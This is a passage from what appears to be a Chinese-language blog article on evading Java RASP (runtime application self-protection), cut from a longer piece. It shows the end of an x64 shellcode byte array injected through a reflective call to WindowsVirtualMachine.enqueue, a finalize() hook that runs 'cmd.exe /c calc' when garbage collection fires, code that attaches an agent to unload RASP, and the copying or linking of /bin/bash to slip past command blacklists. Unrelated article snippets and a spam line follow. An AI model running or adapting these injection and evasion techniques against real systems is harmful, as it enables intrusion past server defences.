(byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,                                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,                                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,                                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,                                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,                                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte)0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,                                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,                                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,                                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,                                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,                                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,                                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,                                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,                                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,                                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,                                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,                                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,                                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,                                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,                                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,                                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,                                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte)0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,                                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                         };                String cmd="load";                String pipeName="test";                m.setAccessible(true);                Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,newObject[]{}});             }        }    }}
    

    上述代碼在Windows x64環境下復現

    如果環境中沒有WindowsVirtualMachine,可以自己寫一個同類名的Native函數,JVM會自動調用底層的Native函數

    package sun.tools.attach; import java.io.IOExceptio;public class WindowsVirtualMachine {static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename,Object... args) throws IOException; }
    

    4.11 Java跨平臺任意Native代碼執行    

    這種方式可以參考Rebeyond給出的《Java內存攻擊技術漫談》一文:https://xz.aliyun.com/t/10075#toc-6

    這種方式是通過創建JPLISAgent,再通過反射實例化sun.instrument.InstrumentationImpl類,并調用其 redefineClasses方法重新定義類(通常在這種情況下,就可以達到無文件Agent注入)但是在調用redefineClasses方法的時候,會調用其底層的Native的同名redefineClasses函數在該函數中存在一個allocate函數,第一個參數是一個jvmtienv結構體。

    4.12 弱引用GC    

    import java.lang.ref.WeakReference;public class TestGc {public TestGc() {    }@Overrideprotected void finalize() throws Throwable {        Runtime.getRuntime().exec("cmd.exe /c calc");super.finalize();    }static {        TestGc testGc = new TestGc();        WeakReference<TestGc> weakPerson = new WeakReference<TestGc>(testGc);        testGc = null;        System.gc();    }}
    

    這里將testGc的變量設置成null,表示不再引用該對象了,并手動觸發GC,由于之前已經創建了弱引用 WeakReference,這里在執行GC后,會自動觸發TestGc的finalize方法,從而執行惡意代碼片段。

    4.13 高權限場景卸載RASP    

    非常常見的卸載方式就是通過獲取tools.jar的路徑,調用里面的JVM API來進行卸載,

    URL url1 = new URL("file:C:\\Program Files\\Java\\jdk1.8.0\\lib\\tools.jar");        URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url1 },Thread.currentThread()                        .getContextClassLoader());
    

    之后就可以通過反射的方式獲取卸載的jar包路徑

    String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0];String payload = "uninstall.jar";ClassLoader classLoader = getCustomClassloader(new String[]{path});Class virtualMachineClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Object virtualMachine = invokeStaticMethod(virtualMachineClass, "attach", new Object[]{pid}); invokeMethod(virtualMachine, "loadAgent", new Object[]{payload}); invokeMethod(virtualMachine, "detach", null);
    

    詳細的操作方法可以看我之前注入Tomcat內存馬的案例:https://www.cnblogs.com/wh4am1/p/15996108.html

    不過上述這種方法需要上傳或者下載jar包到本地,再調用里面的卸載代碼不過自己聯想到一種方式,眾所周知一個Class類滿足如下三個條件時,JVM會卸載掉該類:

    1.該類的所有實例對象不可達

    2.改類的Class對象不可達

    3.改類的ClassLoader不可達

    因為Rasp是通過JavaAgent加載進JVM中的,因此會用自己的ClassLoader,想法就是通過破壞ClassLoader和類的引用再調用GC來卸載掉,但是后續實踐的時候發現條件太苛刻,故此提一下這個思路,要是有師傅能夠實現了還望能告知一下~

    4.14 創建備份文件繞過黑名單    

    Files.copy(Paths.get("/bin/bash"), Paths.get("/tmp/glassy"));Files.createSymbolicLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash"));Files.createLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash")); 之后直接調用即可繞過黑名單的檢測手法Runtime.getRuntime().exec("/tmp/glassy -c XXXX");
    
    函數調用string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    字符串是 JavaScript 中的重要數據類型
    本文是一篇關于《惡意代碼分析實戰》書中的實驗Lab12-02樣本的分析報告,這個樣本涉及到進程注入和XOR加密技術,樣本難度適中。
    上一篇文章介紹了xorstr的原理和最小化驗證概念的代碼,這篇文章來看下這種已經被廣泛應用于各惡意樣本以及安全組件中的技術如何還原,如果還沒看上篇建議先看下了解其實現后再看本篇文章。
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    Thinkphp是一個國內輕量級的開發框架,采用php+apache,在更新迭代中,thinkphp也經常爆出各種漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前兩個版本已經停止更新
    shellcode編寫探究
    2022-06-09 15:34:57
    前言shellcode是不依賴環境,放到任何地方都可以執行的機器碼。shellcode的應用場景很多,本文不研究shellcode的具體應用,而只是研究編寫一個shellcode需要掌握哪些知識。要使用字符串,需要使用字符數組。所以我們需要用到 LoadLibrary 和 GetProcAddress 這兩個函數,來動態獲取系統API的函數指針。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    因為程序肯定是病毒,我就不上傳殺毒網去查殺了。正常我們在分析一個未知惡意程序的時候,流程都是要先上傳殺毒網看看。 用PEID進行查殼,顯示未加殼,程序采用Delphi語言開發。
    ldap連接地址為:ldap://192.168.11.16 用戶為hack 密碼為test123.. 在域外我們需要指定ip地址,在域內我們只需要指定域名也行,例如測試環境的redteam,也就是ldap://redteam,這里就說明我們寫代碼的時候就需要考慮是在域內還是在域外。 在c#進行ldap連接的時候需要引入DirectoryServices.dll,這個是系統自帶的,自行尋找。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类